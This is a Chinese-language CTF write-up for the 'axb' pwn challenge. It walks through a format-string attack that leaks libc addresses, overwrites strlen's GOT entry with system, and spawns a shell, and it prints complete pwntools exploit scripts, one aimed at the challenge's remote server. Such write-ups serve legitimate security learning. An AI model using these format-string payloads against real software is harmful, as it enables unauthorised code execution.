@TOC

起因

之所以记录这个题,是因为我调试了一整天才调试好,一个小小的格串,实在把我卡住了。。。
参考:https://www.freesion.com/article/6942500911/ (写的很详细)

分析

在这里插入图片描述
程序逻辑:循环输入,然后用print输出

思路

这里read没有溢出,所以需要修改got表,来执行system函数,先用格串泄露system的地址,在把strlen的got表修改成system的地址,执行strlen,拿到shell

泄露system的地址

(这里我是拿的本机的libc调试的,后面发现打不通远程)(ubutun18)

输入aaaabbbb
在这里插入图片描述
0xffffcc9c:是我们读入数据的地方(也是%1$p)
0xffffccb4:是我们要泄露数据的地方
不算上面那个0x61的话 中间差了6个字节
那么我们就可以这样构造
‘a’+p32(read_got)+’%7$p’
再次试一下
在这里插入图片描述
可以看到已经显示出来我们想要的地址了,
0xf7e89d60就是我们要泄露的read的实际地址
但是前面还有一堆东西,我们可以这么构造,直接读出read_addr
在这里插入图片描述
求一下libc的基质,发现后三个为0,应该没问题
在这里插入图片描述

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
from pwn import*

io=process('./axb')
elf=ELF('./axb')
libc=elf.libc
read_got=elf.got['read']

payload='a'+p32(read_got)+'22'+'%7$s'
io.recvuntil('Please tell me:')
io.send(payload)

io.recvuntil('22')
read_addr=u32(io.recv(4))
print(hex(read_addr))
libcbase=read_addr-libc.symbols['read']
print(hex(libcbase))
system_addr=libcbase+libc.symbols['system']

注意点:
第一个:我们刚开始输入的aaaabbbb发现没有四字节对齐,那么我们构造的时候要补一个’a‘
第二个:我们开始用%7$p泄露了read_got表,后面用%7$泄露read_addr,后者调试的时候容易报错,程序出错,所以用前面的调试好后,一换就行
第三个:接收的时候在payload加个字符串’22‘,后面不用算位数,直接recv(4)即可

修改got表

(先忽略fmtstr_payload 用最普通的方法泄露)
如法炮制,先确定strlen_got表的位置,
我们直接按上面的payload输进去 ‘a’+p32(strlen_got)+’%7$p’ 去调试
在这里插入图片描述

可以发现got表的位置在上面一个字节
0x70243725 对应着 ‘%7$p’
这样就可以确定位置,直接修改
我在前面随便输入了几个字节,可以发现后面变成了0x16
在这里插入图片描述
而当我尝试输入一个大数时,确发现他没有被修改
在这里插入图片描述
当时就卡在这里了,死活不明白为什么程序就修改不了,重新调试了好几遍发现还是如此,那么只能把4字节的数据分开修改
先求出system的高位和低位

1
2
hi_addr=(system_addr>>16)&0xffff
lo_addr=(system_addr)&0xffff

发送paylaod

1
payload='a'+p32(strlen_got)+p32(strlen_got+2)+'%'+str(lo_addr-0x12)+'c'+'%6$hn'+'%'+str(hi_addr-lo_addr)+'c'+'%7$hn'

成功修改
在这里插入图片描述

利用

现在的strlen被我们修改成了system ,那么在下一轮循环里我们只要输入/bin/sh即可
在这里插入图片描述这里会在前面填入一些无关的字符(Repeater:)
那么我们输入的时候只需要加个 ; 就可以执行system
在这里插入图片描述
构造输入

1
payload=';/bin/sh\x00'

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
from pwn import*
from LibcSearcher import*
io=process('./axb')
elf=ELF('./axb')
libc=elf.libc
read_got=elf.got['read']
strlen_addr=elf.got['strlen']
strlen_got=elf.got['strlen']
#io=remote('node4.buuoj.cn',25092)
payload='a'+p32(read_got)+'22'+'%7$s'
io.recvuntil('Please tell me:')
#
io.send(payload)
#print(io.recv())
io.recvuntil('22')
read_addr=u32(io.recv(4))
print(hex(read_addr))
libcbase=read_addr-libc.symbols['read']
print(hex(libcbase))
system_addr=libcbase+libc.symbols['system']
print(str(system_addr))
hi_addr=(system_addr>>16)&0xffff
lo_addr=(system_addr)&0xffff
#gdb.attach(io,'b *0x804874b')
#payload='a'+fmtstr_payload(7,{strlen_got:system_addr},write_size='byte',numbwritten=0xa)
payload='a'+p32(strlen_got)+p32(strlen_got+2)+'%'+str(lo_addr-0x12)+'c'+'%6$hn'+'%'+str(hi_addr-lo_addr)+'c'+'%7$hn'
io.recvuntil('Please tell me:')
io.send(payload)
print(hex(hi_addr))
print(hex(lo_addr))
print(hex(system_addr))
print(hex(read_got))
sleep(0.1)
payload=';/bin/sh\x00'
io.sendline(payload)
io.interactive()

打远程

本地可以打通,远程打不通
拿2.23的libc重新调试 ,发现在偏移上有所不同
原来的偏移是 7 6 7 远程的是 8 8 9
我这里直接看别人写的wp 修改了一下偏移 用libcsearcher打通 (不想调了)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
from pwn import*
from LibcSearcher import*
#io=process('./axb')
io=remote('node4.buuoj.cn',26632)
elf=ELF('./axb')
#libc=elf.libc
read_got=elf.got['read']
strlen_addr=elf.got['strlen']
strlen_got=elf.got['strlen']
#io=remote('node4.buuoj.cn',25092)
payload='a'+p32(read_got)+'22'+'%8$s'
io.recvuntil('Please tell me:')
#
io.send(payload)
#print(io.recv())
io.recvuntil('22')
read_addr=u32(io.recv(4))
print(hex(read_addr))
libc=LibcSearcher('read',read_addr)
libcbase=read_addr-libc.dump('read')
#libcbase=read_addr-libc.symbols['read']
print(hex(libcbase))
system_addr=libcbase+libc.dump('system')
print(str(system_addr))
hi_addr=(system_addr>>16)&0xffff
lo_addr=(system_addr)&0xffff
#gdb.attach(io,'b *0x804874b')
#payload='a'+fmtstr_payload(8,{strlen_got:system_addr},write_size='int',numbwritten=0xa)
payload='a'+p32(strlen_got)+p32(strlen_got+2)+'%'+str(lo_addr-0x12)+'c'+'%8$hn'+'%'+str(hi_addr-lo_addr)+'c'+'%9$hn'
io.recvuntil('Please tell me:')
io.send(payload)
print(hex(hi_addr))
print(hex(lo_addr))
print(hex(system_addr))
print(hex(read_got))
#io.recvuntil('Please tell me:')
sleep(0.1)
payload=';/bin/sh\x00'
io.sendline(payload)
io.interactive()

看了别人的wp 还有拿one_gadget打的